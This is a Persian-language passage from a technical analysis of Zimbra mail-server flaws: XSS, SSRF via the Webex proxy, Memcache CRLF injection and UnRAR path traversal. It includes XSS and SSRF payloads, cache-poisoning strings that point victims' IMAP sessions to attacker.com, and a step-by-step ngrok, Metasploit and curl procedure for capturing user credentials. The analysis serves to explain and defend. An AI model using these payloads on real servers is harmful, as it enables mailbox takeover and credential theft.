در این مقاله قصد داریم تا تحلیل فنی ای در خصوص آسیب پذیری های ایمیل سرور Zimbra داشته باشیم و بررسی کنیم که چگونه منجر به ایجاد دسترسی از راه دور شده که بدون نیاز به احراز هویت بوده است، همچنین نحوه ارتقاء سطح دسترسی بعد از ایجاد دسترسی اولیه که مبتنی بر آسیب پذیری ای در خصوص وبسرویس می باشد، همچنین لازم به ذکر است که این آسیب پذیری طی ماه های گذشته موجب افشای اطلاعات از سازمان تولید و تحقیق سازمان انرژی اتمی ایران شده بود.
مقدمه ای از Zimbra
ابتدا میبایست یک آشنایی کلی با این وبسرویس داشت تا بتوان محل دقیق آسیب پذیری های رخداده را درک و اهمیت آنها را متوجه شد. Zimbra به عنوان یک ایمیل سرور کامل است که در نسخه Enterprise امکان گفتگو (Chat) داخلی، محل ذخیره داده و یک ویرایشگر اسناد را نیز به عنوان ویژگی های اختصاصی خود به مشتری ارائه میدهد. این ایمیل سرور بیش از 200 هزار مشتری عموما دولتی دارد که در حال استفاده از این محصول میباشند، و ساختار این محصول بهصورت کل دارای سه بخش Web Frontend, APIs, Mobile Applications است که در ادامه به بررسی آسیب پذیری های بخش Web Frontend خواهیم پرداخت.
در تاریخ February 4, 2022 یک آسیب پذیری روز صفر از نوع XSS با شناسه CVE-2022-24682 اعلام شد که در نسخه Zimbra Collaboration Suite اصلاح شده است، در دسامبر 2021، Volexity از طریق سرویس نظارت بر امنیت شبکه خود، مجموعهای از کمپینهای Spear-Phishing را علیه یکی از مشتریان خود به عنوان یک عامل تهدید شناسایی کرد.
محققین شرکت Volexity متوجه یک آسیب پذیری روز صفر شده که بر روی نسخه Zimbra 8.8.15 P29 & P30 میتواند رخ دهد، تیم Volexity آسیب پذیری را مورد بررسی و تست قرار داده و نهایتا متوجه آسیب پذیری روز صفر می شوند. این آسیب پذیری در نسخه ذکر شده وجود داشته و از نوع روز صفر است، تیم بسرعت آسیب پذیری را به شرکت Zimbra گزارش میکند تا اصلاح امنیتی برای آن انجام شود.
سناریو حمله مهاجمین به این صورت بوده است که با توجه به ماهیت آسیب پذیری XSS، مهاجم لینکی حاوی کد مخربی که در منقطه آسیب پذیر عملیاتی شده و در صورت Login بودن قربانی، کد مخربی اجرا شده است که در قالب فرمت JavaScript بوده و به عنوان یک بدافزار عمل میکند، ماموریت این بدافزار این است که با خط فرمان خود ارتباط گرفته و دستورات دریافتی را اجرا نماید، این دستورات شامل جمعآوری ایمیل های مد نظر و ارسال آنها به سرور C2 است.
برای بررسی ابعاد مهندسی اجتماعی، کمپین مهاجم میتوانید در این مقاله مرجع مطالعه بفرماید.
آسیب پذیری روز صفر XSS
اولین آسیب پذیری که در جریان شکار تهدید کشف شد، شناسه آسیب پذیری CVE-2021-35208 بود که در بخش Web Fronted رخ داده است چرا که محل برخورد کاربران ایمیل سرور و مهاجم در این Scope است و برای مهاجمان مطلوب است که در این منطقه آسیب پذیری های سمت کاربر کشف کنند، این آسیب پذیری در اثر عدم فیلترسازی (Sanitize) صحیح رخ داده است که فرایند رویداد این فیلترسازی دارای مشکل چالشی بود. در معماری Zimbra یک Backend وجود دارد که ترافیک ایمیل های دریافتی را مدیریت میکند و مبتنی بر HTTP ایمیلهای وب را ارائه میکند. قسمت Frontend هم برای مشاهده ایمیل ها استفاده می شود و که در سه سطح Agent مختلف طراحی شده است.
- نسخه دسکتاپ که از AJAX بهره میبرند.
- کابران HTML ایستا مبتنی بر وب.
- نسخه بهینه شده برای موبایل.
این آسیب پذیری از نوع DOM-Based Stored بوده و در بخش Body ایمیل قرار دارد و جالب است که بدانید بخش zm-web-client بواسطه پروژه Java HTML Sanitizer بررسی و پایش شده و ضعفی در کیفیت پیادهسازی توابع فیلترسازی (Sanitizer) یافت نشده است، این در حالی است که مهاجمین موفق به بهرهبرداری از یک ضعف فیلترسازی شده اند! اساسا مهاجمین بواسطه یک سناریویی که قابلیت بهرهبرداری اجرای کد بواسطه آسیب پذیری XSS میتوانند دسترسی به نشست قربانی بر روی ایمیل سرور را بگیرند، این سناریو به این صورت است که مهاجم یک کد به زبان JavaScript طراحی و در بخش آسیب پذیر بهکارگیری می کند که شامل اجرای کد مخرب سمت کاربر دیگری می شود، آن کد مخرب، یک بدافزار تمام عیار است.
اما در سناریو تصاحب نشست قربانی، بدافزار به این گونه عمل خواهد کرد که بعد از بارگزاری بواسطه آسیب پذیری XSS، از طرف قربانی بی آنکه او بداند درخواستی جعلی (CSRF) مبنی بر دانلود فایلی مخرب در وبسرویس قربانی انجام شده و آنرا اجرا میکند. نکته: همانطور که پیشتر گفته شد بدلیل استفاده حداکثری نسخه دسکتاپ Web Frontend از AJAX، هدر های امنیتی مانند SOP تنظیم نمیشود چرا که موجب تداخل در کارکرد خود سامانه با دیگر بخش ها که خارج از Origin خود است خواهد شد و این فرصتی برای بارگزاری کدهای مخرب سمت کاربر مهاجم خواهد شد.
if (html.search(/(<form)(?![^>] action)(.*?>)/g)) { html = html.replace(/(<form)(?![^>] action)(.*?>)/ig, function(form) { if (form.match(/target/g)) { form = form.replace(/(<.*)(target=.*)(.*>)/g, '$1action="SAMEHOSTFORMPOST-BLOCKED" target="_blank"$3'); } else { form = form.replace(/(<form)(?![^>] action)(.*?>)/g, '$1 action="SAMEHOSTFORMPOST-BLOCKED" target="_blank"$2'); } return form; }); }
در Zimbra بهصورت پیشفرض درخواست های Ajax سمت کاربر، مبتنی بر یک Regular Expression تبدیل به یک تگ form
در HTML می شود، زیرا نبود ویژگی Action در هر تگ form
منجر به درخواست در همان صفحه میشود، همچنین در جریان پیمایش REGEX یک attribute پیشفرض برای امنسازی Action، اضافه می شود.
<hr align="<form action="SAMEHOSTFORMPOST-BLOCKED" target="_blank" > x" noshade="<script>alert(document.domain);alert(document.cookie);//"></div>
کد بالا در نسخه آسیب پذیر قرار داشت که مشخص است نسبت به آسیب پذیری XSS واکنش نشان می دهد و در صورت استفاده مهاجم از تگ هایی مانند hr
می تواند بواسطه مقدار دهی کد مخرب در attributes های آن، بهرهبرداری XSS را عملیاتی کند، برای مثال Payload درون کد بالا یک نمونه در خصوص برقراری شرط وجود action
در تگ form
، و attribute با نام align
که دارای مقدار امنیتی است می بایست برقرار باشد. اما در ادامه در attribute دیگری با نام noshade
می بینیم که کد مخرب JavaScript قرار میگیرد که تحت کنترل مهاجم بوده و مهاجم می تواند از آن بهرهبرداری نماید، همچنین این آسیب پذیری هنگام بازدید قربانی از ایمیل مهاجم قابلیت Trigger شدن در سمت کاربر را خواهد داشت.
آسیب پذیری Authenticated SSRF
اما آسیب پذیری دومی که مورد توجه مهاجمین قرار گرفت، آسیب پذیری SSRF یا تولید درخواست جعلی در سمت سرور است، برای اینکه بدانیم آسیب پذیری در کدام منقطه از برنامه رخداده و تحت کنترل مهاجم قرار گرفته است می بایست این نکته را درک کرد که ایمیل سرور Zimbra، از Integration های مختلفی استفاده می کند که یکی از آنها Webex است، که درخواست های Ajax در Frontend نیازمند آن هستند که از Webex اطلاعاتی دریافت کنند، که البته در صورت فعال بودن مکانیزم Same-Origin Policy ، ارتباط با Webex با مشکل رو به رو خواهد شد.
برای حل محدودیت هایی که Header های امنیتی برقرار می سازند، Zimbra اقدام به توسعه یک Servlet کرده است که به عنوان یک واسط در ZCS Server قرار گرفته و درخواست های Ajax سمت مرورگر را دریافت کرده و Forward می کند برای سرور External که وبسایت Webex باشد، با این راهکار اعمال محدودیت امکانپذیر بوده و درخواست ها فقط محدود به یک مسیر که ZCS Server باشد اعمال می شود، طراحی اشتباه Integration سرویس Webex عامل اصلی رخداد آسیب پذیری SSRF بوده است.
Enumeration headers = req.getHeaderNames(); while (headers.hasMoreElements()) { String hdr = (String) headers.nextElement(); ZimbraLog.zimlet.debug("incoming: " + hdr + ": " + req.getHeader(hdr)); if (canProxyHeader(hdr)) { ZimbraLog.zimlet.debug("outgoing: " + hdr + ": " + req.getHeader(hdr)); if (hdr.equalsIgnoreCase("x-host")) method.setHeader("Host", req.getHeader(hdr)); else method.addHeader(hdr, req.getHeader(hdr)); } }
همانطور که در انتهای این کد مشاهده می شود، اگر هدر X-Host
تنظیم شده باشد، مقدار هدر Host
بر روی درخواست خروجی و روی مقدار آن تنظیم می شود. این مقدار را می توان بدون هیچ محدودیتی توسط مهاجم کنترل کرد و این مشکل ساز است زیرا سرویس ها و برنامه های مختلف از هدر Host
برای تولید تغییر مسیرها استفاده می کنند.
برای مثال جریان ورودی ترافیک به درگاه (Port) 80 همواره در حال Listening است تا ترافیک وروردی HTTP بواسطه مقدار تنظیم شده ای در Header مربوطه یعنی Host
استفاده کرده و تغییر مسیر ترافیک را به سمت HTTPS انجام دهد، این بدان معنی است که یک مهاجم میتواند یک آسیب پذیری Open Redirect را کشف و از آن بهرهبرداری کند، البته بهرهبرداری از آن در اغلب موارد غیر ممکن یا بی ضرر است اما اگر منجر به تولید درخواست جعلی سمت سرور (SSRF) شود می تواند خطرناک باشد.
$.ajax({ url: 'service/proxy?target=http://some.service.webex.com', headers: { 'X-Host': 'attacker.com' } });
اما این آسیب پذیری در Integration مربوط به Webex می تواند موجب رخداد یک SSRF شده و اگر قربانی زیرساخت خود را مبتنی بر فضای ابری طراحی کرده باشد، بواسطه این آسیب پذیری میشود اطلاعات حساسی را از روی Localhost و آدرس های API سرویس ابری، بیرون کشید.
آسیب پذیری Memcache Injection
یک آسیبپذیری دیگر در Zimbra کشف شده است که به مهاجم اجازه میدهد اعتبار ورود به سیستم را از کاربران دزدیده و نتیجتا می توان به صندوق پست قربانیان دسترسی پیدا کرد. این آسیب پذیری استعداد دسترسی بدون نیاز به احراز هویت را دارد و امکان استخراج اعتبار ورود (Credentials) کاربران بهصورت Cleartext وجود دارد، این آسیب پذیری با نام Memcache Injection مطرح بوده است.
این آسیب پذیری با شناسه CVE-2022-27924 ثبت شده است که در نسخه های Zimbra 8.8.x الی Zimbra 9.x وجود دارد که بر نسخه های منبع باز و تجاری تأثیر میگذارد. آسیب پذیری در نسخه های 8.8.15 با Patch شماره 31.1 و نسخه 9.0.0 با Patch شماره 24.1 ، اصلاح شده است.
برای بهره برداری از آسیب پذیری مطرح شده، نیاز است که مهاجم ایمیل قربانیان را بداند، در نتیجه مهاجم میبایست با استفاده از روش های OSINT یا کشف الگوی ساخت ایمیل ها، بتواند ایمیل های اعضای ایمیل سرور قربانی را بدست آورد. اما در حالتی خاص که آسیب پذیری Response Smuggling هم وجود داشته باشد، مهاجم نیازی به سرشماری ایمیل قربانیان نداشته و میتواند محدودیت های اعمال شده را دو زده و مستقیما اقدام به استخراج رمزهای عبور کند.
مکانیزم Zimbra Proxy
بطور پیشفرض اسکریپت نصب Zimbra تمامی سرویس های مورد نیاز خود را بر روی سرور مربوطه نصب می کند، همچنین Zimbra برای ویژگی های Load Balacing خود مبتنی بر یک Reverse Proxy عمل می کند و ترافیک های دریافتی از HTTP و پروتکل های دریافت ایمیل (IMAP & POP3) را به سمت سرور Backend هدایت نموده و پروسه ذخیره سازی در سرور Backend اعمال می شود.
اما Zimbra برای ایمیل سرور خود ماژول های سفارسی توسعه داده است که تضمین می کند که ترافیک Nginx ارسال شده توسط یک کاربر خاص، به سرورهای Backend بصورت صحیح هدایت می شوند، اما مسیریابی Reverse Proxy با استفاده از Zimbra Lookup Service انجام می شود و Zimbra فرایند هدایت ترافیک کاربر به سمت سرور های Backend را مبتنی بر Zimbra Lookup Service انجام می دهد.
برای مثال زمانی که یک درخواست HTTP به ورودی https://mail.target.com/service/home/exampleUser/file
ارسال میشود، کاربر exampleUser
شناسایی شده سپس Zimbra یک درخواست به Zimbra Lookup Service ارسال کرده و از آن می خواهد تا سرور Backend مربوط به کاربر شناسایی شده را معرفی کند، این معرفی بواسطه یک پاسخ دارای یک IP و Port را به Zimbra ارسال می کند و سپس Zimbra متوجه می شود ترافیک ورودی را به کدام سرور Backend ارسال نماید.
- نکته: در صورت وجود یک سرور Backend یا نبود سرورهای Backend ، این ویژگی در حال کار خواهد بود و می توان از آسیب پذیری رخداده بر آن سوء استفاده نمود.
مکانیزم Route Caching (Memcached)
اما بپردازیم به نحوه عملکرد مسیریابی مقادیر حافظه پنهان (Cache) بر روی ایمیل سرور Zimbra، از آنجایی که درخواست های HTTP به سرور های Backend می تواند بسیار بالا باشد و نرخ ترافیک را افزایش دهد، Zimbra اقدام به استفاده از سرویس Memcached در خصوص ذخیره سازی داده های تکرار پذیر کرده است تا نرخ درخواست HTTP به سمت سرورهای Backend کاهش پیدا کند، اما نکته ای که اینجا برای مهاجم میتواند مهم باشد این است که در صورت وجود آدرس IP سرویس Lookup در حافظه پنهان (Memcached)، دیگر درخواست های به Lookup نادیده گرفته می شود، اساسا Memcached سروری است که مبتنی بر key/value
مقادیر را ذخیره کرده و می تواند مبتنی بر یک پروتکل ساده ی Plain-Text
تنظیم شده و فراخوانی شود.
دستور بالا که به سرویس Memcached ارسال شده است، اعلام میشود که مسیریابی کاربر exampleUser
مبتنی بر پروتکل HTTPS هدایت می شود به 127.0.0.1:8443
که آدرس سرور Backend می باشد، بخش بنفش به عنوان کلید تشخیص Cache کاربر exampleUser
تعیین می شود و بخش آبی کم رنگ نشان دهنده مقدار پرچم برای Memcached خواهد بود، رنگ سبر هم به نشان دهنده TTL درخواست های دریافتی بوده است و رنگ آبی پر رنگ، مشخص می کند که اندازه داده مبتنی بر bytes چه عددی است، نهایتا رنگ قرمز هم نشان دهنده آدرس IP و Port برای اشاره گر مقادیر به سرویس دریافت کننده خواهد بود.
لطفاً توجه داشته باشید که استفاده از (r\n\)
برای نشان دادن خطوط جدید در مدل پیام های ارسالی به Memcached بصورت عمد قرار گرفته شده است، چرا که برای درک آسیب پذیری در ادامه مهم خواهد بود. زمانی که اولین درخواست های کاربر در حافظه پنهان Memcached ذخیره شود، سرویس Memcached یک پیام (r\n\) STORED
به Zimbra Reverse Proxy ارسال می کند مبنی بر اینکه داده ارسالی در حافظه پنهان ذخیره شده است.
get route:proto=httpssl;[email protected]
پس از افزودن این داده ها به حافظه نهان، Zimbra Reverse Proxy تلاش می کند تا هر بار که exampleUser
درخواست های HTTP را در کد بالا ارسال کند و در ادامه سرور Memcached دستور زیر را به عنوان پاسخ ارسال می کند.
VALUE route;proto=httpssl;user=[email protected] 0 14 (\r\n) 127.0.1.1:8443 (\r\n) END
ما می توانیم ببینیم که چگونه کلید ورودی کش قابل پیش بینی است و ساختار فرمت کلید مشخص است، ساختار route;proto=PROTOCOL;user=EMAIL
نشان می دهد که پروتکل کدام یک از موارد httpssl
، imap
یا pop3
می تواند باشد و مقدار EMAIL
می بایست آدرس ایمیل کاربران Zimbra خواهد بود.
آسیب پذیری CRLF Injection در Memcached
شناسه آسیب پذیری با شماره CVE-2022-27924 است که از یک پروتکل مبتنی بر متن استفاده می کند، همچنین داده های ورودی را خط به خط تفسیر می کند، این بدان معنی است که اگر یک مهاجم بتواند کاراکترهای newline تزریق کند، می تواند به نام کاربری خاصی دستورات مخربی را به حافظه پنهان Memcached تزریق کند.
get route:proto=httpssl;[email protected]
همانطور که قبلا توضیح داده شد، زمانی که کاربر درخواست را که مبتنی بر URL دارای نام کاربری خود https://mail.target.com/service/home/exampleUser/file
را ارسال می کند و پروسه Routing کاربر را با ارسال دستور بالا به سرویس Memcached Lookup انجام می دهد.
نحوه بهره برداری از آسیب پذیری
برای اینکه بفهمیم یک مهاجم چگونه از این آسیبپذیری سوء استفاده میکند، باید بفهمیم کدام ورودیهای حافظه پنهان میتوانند بازنویسی شوند و چه تأثیر امنیتی ممکن است بر آن داشته باشند. Route های حافظه پنهان (Cache) از آنجا که قابل پیشبینی هستند، مسیریابی حافظه پنهان مبتنی بر exampleUser
ذخیره یا Cache می شود و کلید آن route:proto=httpssl;[email protected]
خواهد بود.
در اینجا پروتکل httpssl
معرفی شده است زیرا کاربر از طریق URL درخواست های HTTP خود را ارسال نموده است، همچنین در ادامه مقدار [email protected]
تنظیم می شود که مشخص است target.com
به عنوان Host
در Header قرار می گیرد.
قبلاً اشاره کردیم که Zimbra از Nginx برای Proxy کردن ترافیک از IMAP و POP3 نیز استفاده می کند. با در نظر گرفتن همه این موارد، متوجه شدیم که یک مهاجم می تواند Route حافظه پنهان (Cache) در IMAP را برای هر کاربر شناخته شده ای بازنویسی کند، برای مثال با درخواست HTTP زیر:
https://mail.target.com/service/home/example\r\nset route:proto=imapssl;user[email protected] 0 3699 14\r\nattacker.com:1337\r\nUser/file
در نتیجه، پیام زیر به سرور ارسال می شود:
get example (\r\n) set route:proto=imapssl;user=vict[email protected] 0 3600 14 (\r\n) attacker.com:1337 (\r\n) User
به سبب این اتفاق، مسمومیت حافظه پنهان (Cache Poisoning) رخ خواهد داد و دفعه بعد که کاربر [email protected]
از طریق IMAP به حساب Zimbra خود متصل شود، Nginx Proxy از داده مسموم شده استفاده خواهد کرد و تمام ترافیک IMAP را به یک سرور کنترل شده توسط مهاجم ارسال می کند. نتیجه آنکه مقادیر اعتبار سنجی (Credentials) بصورت متنی به سرور مهاجم ارسال خواهد شد.
همه اینها در پس زمینه بی آنکه کاربر قربانی بداند اتفاق می افتد. معمولاً کاربران سرویس گیرنده های ایمیل مانند Thunderbird، Microsoft Outlook، برنامه macOS Mail و برنامههای ایمیل تلفن هوشمند، اعتبارنامههایی را که کاربر برای اتصال به سرور IMAP خود استفاده می کند را بر روی دیسک ذخیره می کنند. هنگامی که سرویس گیرنده ایمیل مجددا راه اندازی شود یا نیاز به اتصال مجدد داشته باشد، ممکن است به صورت دوره ای خود را به ایمیل سرور، مجدداً Zimbra احراز هویت کند.
سازمانها معمولاً یک مقرراتی برای نامگذاری آدرسهای ایمیل اعضای خود دارند، به عنوان مثال اگر مهاجمی که حملات هدفمند انجام می دهد بتواند لیستی از اعضای یک سازمان را دریافت کند، برای مثال با استفاده از منابعی مانند LinkedIn، می تواند حافظه پنهان را برای همه کاربران مسموم کند و منتظر بماند تا دفعه بعدی که کاربران ایمیل، دوباره به ایمیل سرور Zimbra متصل شدند، اعتبار سنجی آنها را برای خود ارسال کرده و سرقت نماید.
بهره برداری Response Injection
در بخش قبل، نشان دادیم که چگونه یک مهاجم میتواند نام کاربری و رمز عبور کاربران را بصورت هدفمند مبتنی بر ایمیل سرور Zimbra بواسطه مسموم کردن Route حافظه پنهان (Memcached) در پروتکل IMAP، را بدست آورد. با این حال برای موفقیت این حمله شرایط زیر میبایست برآورده شود:
- یک مهاجم باید آدرس ایمیل یک یا چند قربانی را بداند تا بتواند ورودی های حافظه پنهان آنها را مسموم کند.
- قربانیان باید از IMAP استفاده کنند این بدان معنی است که میبایست از یک برنامه یا سرویس مخصوص دستگاه های موبایل یا تحت Desktop استفاده کنند، چرا که آن برنامه ها مبتنی بر پروتکل IMAP کار خواهند کرد و در نتیجه مهاجم می تواند عملیات سرقت مقادیر اعتبار سنجی (Credentials) را به خوبی انجام دهند.
به طور پیش فرض، Zimbra از چهار Worker Processes برای Handle کردن Connections های ورودی (Incoming) استفاده می کند. در یک پیکربندی Default، هر Worker Process می تواند 10240 اتصال (Connection) را مدیریت کند. یک Slot از Connection ممکن است با یک درخواست (Request) HTTP یا یک نشست (Session) IMAP یا POP3 پر شود. نکته مورد توجه این است که در واقع Zimbra Nginx یک اتصال (Connection) به سرور Memcached را موجب ایجاد یک Thread خواهد کرد که الزاما به معنی ارتباط یک کاربر نخواهد بود.
وقتی یک کاربر اتصال پیدا می کند یک Worker Thread برای Handle کردن اتصال ایجاد می شود، این اتصال اشاره می کند به داده Cache، و Worker اینجا پیامی هم به سرور Memcached ارسال می کند که مبتنی بر Shared Socket کار خواهد کرد، نکته اینجاست که Thread های این چنینی مبتنی بر یک Worker Process کار می کنند.
فرض کنید به طور همزمان سه کاربر (A، B و C) وجود دارند که Route Lookup آنها در حال فعالیت است. هنگامی که سرور Memcached تمام سه Route را پردازش کرد، نتایج Route ها را به کاربر ارسال می کند. می توانیم این حالت را با ترسیم در تصویر بالا ببینیم. به عنوان یادآوری هم باید گفت اگر کاربران A، B و C یک درخواست HTTP داده بودند، دستورات Memcached زیر به سرور ارسال می شد:
get route:proto=httpssl;[email protected] (\r\n) get route:proto=httpssl;[email protected] (\r\n) get route:proto=httpssl;[email protected] (\r\n)
سپس Memcached با داده های زیر پاسخ میداد:
VALUE route:proto=httpssl;[email protected] 0 14 (\r\n) 127.0.0.1:8443 (\r\n) END VALUE route:proto=httpssl;[email protected] 0 14 (\r\n) 127.0.0.1:8443 (\r\n) END VALUE route:proto=httpssl;[email protected] 0 14 (\r\n) 127.0.0.1:8443 (\r\n) END
پاسخ Lookup به کاربر A ابتدا در Work Queue که بصورت Shared Process پردازش می شود، فقط در Bytes های موجود و در جریان Response که مربوط به این Work است Process خواهد شد. در این حالت اولین مقدار پس از Process آیتم A، آیتم B را با Bytes های باقیمانده پردازش خواهد کرد و به همین ترتیب.
این رفتار را می توان با تزریق پاسخ های بیشتر (Response Injection) برای دریافت درخواست ها (Reguests)، نسبت به مواردی که در صف Queue است اعمال نمود و بهره برداری کرد. بیایید دوباره فرض کنیم که Cache Lookups کاربران A، B و C را در صف Work Queue قرار داده است و کاربر A کاربر مخرب است و با استفاده از تزریق CLRF سعی در مجبور کردن Zimbra برای ارسال ترافیک زیر به سرور Memcached می کند.
get route:proto=httpssl;user= (\r\n) get [email protected] (\r\n) get route:proto=httpssl;[email protected] (\r\n) get route:proto=httpssl;[email protected] (\r\n)
مهاجم با ارسال =route:proto=httpssl;user
و [email protected]
برای حافظه Cache موجب می شود تا پاسخ زیر به سرور مهاجم ارسال شود:
VALUE route:proto=httpssl;user= 0 17 (\r\n) attacker.com:1337 (\r\n) END VALUE [email protected] 0 17 (\r\n) attacker.com:1337 (\r\n) END VALUE route:proto=httpssl;[email protected] 0 14 (\r\n) attacker.com:8443 (\r\n) END VALUE route:proto=httpssl;[email protected] 0 14 (\r\n) attacker.com:8443 (\r\n) END
همچنین می توانیم این حالت را با تصویر زیر نشان دهیم:
تصویر بالا نشان می دهد که چگونه موارد بیشتری در جریان پاسخ نسبت به موارد موجود در صف قرار می گیرد. زمانی که این حالت اجباری شود، درخواست Lookup حافظه پنهان A
را فقط نتیجه اولین خواهد دید، در نتیجه A1
را پردازش خواهد کرد و هنگامی که درخواست Lookup حافظه پنهان B
میرود برای پردازش، از مقدار نتیجه A2
استفاده خواهد کرد که توسط مهاجم کنترل می شود.
ایده این است که با تزریق مداوم پاسخهای (Response) بیشتر از موارد موجود، به جریانهای (Shared Response) در Memcached، بتوانیم Lookup را بصورت تصادفی در Memcached مجبور به استفاده از پاسخهای تزریق شده خود، به جای پاسخ صحیح کنیم. این کار به این دلیل کار میکند که Zimbra کلید پاسخ Memcached را هنگام پردازش تأیید نکرده است.
با استفاده از این رفتار، می توانیم اتصال Proxy کاربران تصادفی را که به سرور IMAP ما متصل می شوند، بدون نیاز به دانستن آدرس ایمیل آنها ربوده باشیم. این استراتژی بهرهبرداری نیز چیزی را از بین نمیبرد، زیرا درخواست های Lookup در HTTP که از یک مقدار مسموم استفاده می کنند، به رویکرد Round Robin باز می گردد.
بهره برداری با IMAP
بصورت کلی مهاجم می بایست مراحل زیر را انجام دهد، برای بهره برداری از آسیب پذیری توضیح داده شده که نهایتا دزدیدن اعتبارسنجی های کاربران ایمیل سرور، در اولین قدم می بایست یک Listening ایجاد نماید تا داده های دریافتی را مبتنی بر پروتکل IMAP ضبط نماید، اینکار بواسطه Metasploit می تواند براحتی انجام گیرد.
نصب سرویس Ngrok
در اولین قدم می بایست سرویس Ngrok را برای دور زدن مقوله Port Forwarding در اینترنت های خانگی و امکان دریافت پاسخ ها به سیستم خود، راه اندازی کرد، با دستور زیر Ngrok را می توانید نصب نماید (برای سیستم عامل Linux)، لازم به ذکر است که برای استفاده از سرویس Ngrok شما نیاز خواهید داشت تا از طریق این لینک Token دسترسی به سرویس را بدست آورید.
# Define Token ENV ┌──(web㉿unk9vvn)-[~] └─$ TOKEN=(Ngrok Token Pasted) # Install Ngrok Linux ┌──(web㉿unk9vvn)-[~] └─$ wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz -O /tmp/ngrok-v3-stable-linux-amd64.tgz;sudo mkdir /usr/share/ngrok;sudo tar -xvf /tmp/ngrok-v3-stable-linux-amd64.tgz -C /usr/share/ngrok;sudo chmod 755 /usr/share/ngrok/*;sudo ln -f -s /usr/share/ngrok/ngrok /usr/bin/ngrok;ngrok config add-authtoken $TOKEN;ngrok tcp 1337 # Define ENV Ngrok ┌──(web㉿unk9vvn)-[~] └─$ NGDNS=$(API=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp:\/\/([^"]*):.*/\1/p') && echo "$API");NGPORT=$(API=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp:\/\/.*.tcp.*.ngrok.io:([^"]*).*/\1/p') && echo "$API");
دستور اول در این خصوص است که Token دریافتی خود را به یک متغیر مقداردهی نماید تا در دستور دوم که در خصوص نصب اتوماتیک برنامه Ngrok است، بتواند از آن استفاده نماید و در ادامه با فعال سازی Listening مبتنی بر پروتکل TCP انجام شود. در خط آخر شما متغیرهای محلی را تعریف می کنید تا مقادیر آدرس DNS و Port سرویس Ngrok را برای شما مقداردهی کرده و آماده داشته باشد.
فعال کردن Payload آسیب پذیری
# Listening Metasploit ┌──(web㉿unk9vvn)-[~] └─$ msfconsole -qx "use auxiliary/server/capture/imap;set SSL true;set SRVHOST 127.0.0.1;set SRVPORT 1337;run" # Triggering Payload ┌──(web㉿unk9vvn)-[~] └─$ curl -k 'https://mail.target.com/service/home/example%0d%0aset%20route:proto=imapssl;user=vic[email protected]%200%203600%2015%0d%0a$NGDNS:$NGPORT%0d%0a/file'
دستور اول چهارچوب Metasploit را در خصوص ماژول auxiliary/server/capture/imap
اقدام به شنود یا Listening قرار می دهد تا پاسخ های دریافتی پروتکل IMAP ایمیل سرور قربانی را ضبط نماید، اما دستور دوم در خصوص تحریک و بهره برداری، از آسیب پذیری است که موجب می شود درخواست مخرب ما در سیستم Cache قرار گرفته و در صورت استفاده قربانی از برنامه هایی که برای اتصال به ایمیل سرور از پروتکل IMAP استفاده میکنند، دستورات Memcached ما اجرا شود، و نهایتا مقادیر اعتباری کاربر قربانی سرقت شود.
در تصویر بالا Payload مهاجم را می بینیم که بصورت URL Encode و حالت URL Decode نمایش داده شده است، که در قسمت رنگ آبی به وضوح کاراکترهای CRLF را می بینیم که بصورت URL Encode تعریف شده اند تا دو سطر مجزا برای مقادیر تنظیم شده ایجاد نماید و بدین ترتیب سیستم Cache ایمیل سرور، بعد از اجرای دستور اول یک ارتباط با سرور مهاجم هم خواهد گرفت.
آسیب پذیری UnRAR Path Traversal
اما بپردازیم به آسیب پذیری Path Traversal در فرایند UnRAR کردن فایل فشرده دریافتی، این آسیب پذیری از نوع روز صفر بوده و می تواند بدون نیاز به احراز هویت موجب اجرای کد از راه دور شود که از لحاظ امنیتی آسیب پذیری در سطح حساس یا Critical رتبه بندی می شود. اساسا این آسیب پذیری در خود UnRAR بوده است که توسط RARLab توسعه داده شده است و از نسخه 6.12 به قبل، می تواند دارای این آسیب پذیری باشد که لازم به ذکر است که فقط سیستم عامل های Linux تحت تأثیر این آسیب پذیری قرار می گیرند.
ایمیل سرور Zimbra همواره برای استخراج محتوای فایل های فشرده از UnRAR استفاده می کند، اگر چه برنامه های تحت وب مشابه که از همین روش برای استخراج داده استفاده می کنند هم می توانند تحت تاثیر قرار گیرند. این آسیب پذیری با شناسه CVE-2022-30333 ثبت شده است و می تواند موجب نوشتن فایل (File Write) شود. زمانی که Zimbra فایل فشره را دریافت می کند، مسیری برای استخراج محتوا بصورت پیشرفض در نظر دارد، اگر مهاجم بتواند فایل مخربی را در مسیری خارج از مسیر پیشفرض Zimbra استخراج کند، می توان امیدوار بود که مهاجم یک اجرای موفق در خصوص فایل مخرب خود بدست خواهد آورد.
در مورد Zimbra، بهره برداری موفقیت آمیز به مهاجمان اجازه می دهد تا به هر ایمیل ارسالی و دریافتی روی یک سرور ایمیل آسیب پذیر دسترسی داشته باشند. مهاجمان می توانند بی صدا وارد سرور آسیب پذیر شده و اعتبارات (Credentials) کاربران یک سازمان را بدزدند. با این دسترسی، این احتمال وجود دارد که آنها بتوانند دسترسی خود را به سرویس های داخلی حساس تر یک سازمان افزایش دهند
تنها شرط لازم برای این حمله این است که unrar
روی سرور نصب شده باشد، که انتظار میرود برای اسکن ویروس بایگانی RAR و بررسی هرزنامه مورد نیاز است، همچنین پیاده سازی های متعددی از unrar
وجود دارد که فقط پیاده سازی های متکی بر کد RARLab تحت تأثیر قرار خواهند گرفت.
در تصویر بالا کد آسیب پذیر مربوط به unrar
قرار دارد که در تابع CharToWide
مقدار متغیری را دریافت می کند که به عنوان مسیر آدرس فایل دریافتی خواهد بود و بعد از تصدیق مسیر، در کادر قرمز رنگ پایین می بینیم که از مقادیر FileName
و RedireName
برای ایجاد یک Symlink استفاده می شوند، این دقیقا عامل پیمایش مسیر خواهد بود که مهاجم برای اجرای فایل مخرب خود استفاده می کند.
نقش UnRAR در Zimbra
وب سرویس Zimbra در جریان آسیب پذیری unrar
مقصر نیست، زیرا این آسیب پذیری در عدم تصدیق صحیح نام فایل فشرده RAR رخ داده است، اما Zimbra بدلیل عدم پیکربندی صحیح Authorize در صفحه Endpoint خود که در خصوص دریافت فایل پوسته با فرمت RAR است، مقصربوده و این عدم تصدیق سطح دسترسی به صفحات داخلی موجب می شود که مهاجم بودن نیاز به احراز هویت (Authentication) در سامانه، بتواند از راه دور فایل مخرب پوسته را با فرمت JSP ارسال نماید.
